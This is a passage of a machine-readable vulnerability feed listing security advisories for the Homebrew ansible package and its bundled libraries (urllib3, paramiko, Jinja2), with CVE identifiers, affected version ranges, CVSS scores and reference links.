-09/msg00039.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-25091","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-gwvm-45gx-3cf8","CVE-2018-25091","PYSEC-2023-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.24.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Authorization Header forwarded on redirect","details":"urllib3 before 1.24.2 does not remove the authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the authorization header to be exposed to unintended hosts or transmitted in cleartext. NOTE: this issue exists because of an incomplete fix for CVE-2018-20060 (which was case-sensitive).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-25091"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/issues/1510"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/adb358f8e06865406d1f05e581a16cbea2136fbc"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-207.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/compare/1.24.1...1.24.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-7750","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-232r-66cg-79px","CVE-2018-7750","PYSEC-2018-19"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Paramiko not properly checking authentication before processing other requests","details":"transport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-7750"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/1175"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/fa29bd8446c8eab237f5187d28787727b4610516"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/e9dfd854bdaf8af15d7834f7502a0451d217bb8c"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/45712"},{"type":"WEB","url":"https://web.archive.org/web/20190831123128/http://www.securityfocus.com/bid/103713"},{"type":"WEB","url":"https://usn.ubuntu.com/3603-2"},{"type":"WEB","url":"https://usn.ubuntu.com/3603-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/12/msg00025.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2018-19.yaml"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/blob/master/sites/www/changelog.rst"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/blob/e861c7697622774071ce73b46ffe8817eacdedfa/sites/www/changelog.rst?plain=1#L759-L763"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-232r-66cg-79px"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1972"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1525"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1328"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1274"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1213"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1125"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1124"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:0646"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:0591"},{"type":"WEB","url":"http://www.securityfocus.com/bid/103713"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10156","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-10156","GHSA-grgm-pph5-j5h7","PYSEC-2019-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10156"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/57188"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10206","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-10206","GHSA-cqmr-rcpr-cxh3","PYSEC-2019-145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"ansible-playbook -k and ansible cli tools, all versions 2.8.x before 2.8.4, all 2.7.x before 2.7.13 and all 2.6.x before 2.6.19, prompt passwords by expanding them from templates as they could contain special characters. Passwords should be wrapped to prevent templates trigger and exposing them.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10206"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10217","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-10217","GHSA-p75j-wc34-527c","PYSEC-2019-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"details":"A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/pull/59427"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10217"},{"type":"EVIDENCE","url":"https://github.com/ansible/ansible/issues/56269"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10906","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-462w-v97r-4m45","CVE-2019-10906","PYSEC-2019-217"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 sandbox escape via string formatting","details":"In Pallets Jinja before 2.10.1, `str.format_map` allows a sandbox escape.\n\nThe sandbox is used to restrict what code can be evaluated when rendering untrusted, user-provided templates. Due to the way string formatting works in Python, the `str.format_map` method could be used to escape the sandbox.\n\nThis issue was previously addressed for the `str.format` method in Jinja 2.8.1, which discusses the issue in detail. However, the less-common `str.format_map` method was overlooked. This release applies the same sandboxing to both methods.\n\nIf you cannot upgrade Jinja, you can override the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10906"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-2"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-1"},{"type":"WEB","url":"https://palletsprojects.com/blog/jinja-2-10-1-released"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS7IVZAJBWOHNRDMFJDIZVFCMRP6YIUQ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QCDYIS254EJMBNWOG4S5QY6AOTOR4TZU"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DSW3QZMFVVR7YE3UT4YRQA272TYAL5AF"},{"type":"WEB","url":"https://lists.apache.org/thread.html/f0c4a03418bcfe70c539c5dbaf99c04c98da13bfa1d3266f08564316@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/b2380d147b508bbcb90d2cad443c159e63e12555966ab4f320ee22da@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/7f39f01392d320dfb48e4901db68daeece62fd60ef20955966739993@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/57673a78c4d5c870d3f21465c7e2946b9f8285c7c57e54c2ae552f02@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/46c055e173b52d599c648a98199972dbd6a89d2b4c4647b0500f2284@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/320441dccbd9a545320f5f07306d711d4bbd31ba43dc9eebcfc602df@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/2b52b9c8b9d6366a4f1b407a8bde6af28d9fc73fdb3b37695fd0d9ac@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/09fc842ff444cd43d9d4c510756fec625ef8eb1175f14fd21de2605f@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2019-217.yaml"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-462w-v97r-4m45"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1329"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1152"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00064.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-11236","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-r64q-w8jr-g9qp","CVE-2019-11236","PYSEC-2019-132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.24.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Improper Neutralization of CRLF Sequences in urllib3 library for Python","details":"In the urllib3 library through 1.24.2 for Python, CRLF injection is possible if the attacker controls the request parameter.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11236"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/issues/1553"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-2"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-1"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TBI45HO533KYHNB5YRO43TBYKA3E3VRL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R62XGEYPUTXMRHGX5I37EBCGQ5COHGKR"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/06/msg00016.html"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2019-132.yaml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r64q-w8jr-g9qp"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3590"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3335"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:2272"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-11324","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-mh33-7rrq-662w","CVE-2019-11324","PYSEC-2019-133"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.24.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Improper Certificate Validation in urllib3","details":"The urllib3 library before 1.24.2 for Python mishandles certain cases where the desired set of CA certificates is different from the OS store of CA certificates, which results in SSL connections succeeding in situations where a verification failure is the correct outcome. This is related to use of the `ssl_context`, `ca_certs`, or `ca_certs_dir` argument.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11324"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/1efadf43dc63317cd9eaa3e0fdb9e05ab07254b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3335"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3590"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mh33-7rrq-662w"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2019-133.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/compare/a6ec68a...1efadf4"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2"},{"type":"WEB","url":"https://pypi.org/project/urllib3/1.24.2"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-1"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2019/04/19/1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14846","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-14846","GHSA-pm48-cvv2-29q5","PYSEC-2019-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"In Ansible, all Ansible Engine versions up to ansible-engine 2.8.5, ansible-engine 2.7.13, ansible-engine 2.6.19, were logging at the DEBUG level which lead to a disclosure of credentials if a plugin used a library that logged credentials at the DEBUG level. This flaw does not affect Ansible modules, as those are executed in a separate process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14846"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/63366"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14856","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-14856","GHSA-6fq2-x65v-v9h7","PYSEC-2019-146"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"}]},"details":"ansible before versions 2.8.6, 2.7.14, 2.6.20 is vulnerable to a None","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14856"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14858","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-14858","GHSA-h653-95qw-h2mp","PYSEC-2019-171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0rc4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A vulnerability was found in Ansible engine 2.x up to 2.8 and Ansible tower 3.x up to 3.5. When a module has an argument_spec with sub parameters marked as no_log, passing an invalid parameter name to the module will cause the task to fail before the no_log options in the sub parameters are processed. As a result, data in the sub parameter fields will not be masked and will be displayed if Ansible is run with increased verbosity and present in the module invocation arguments for the task.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14858"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14864","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-14864","GHSA-3m93-m4q6-mc6v","PYSEC-2020-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"f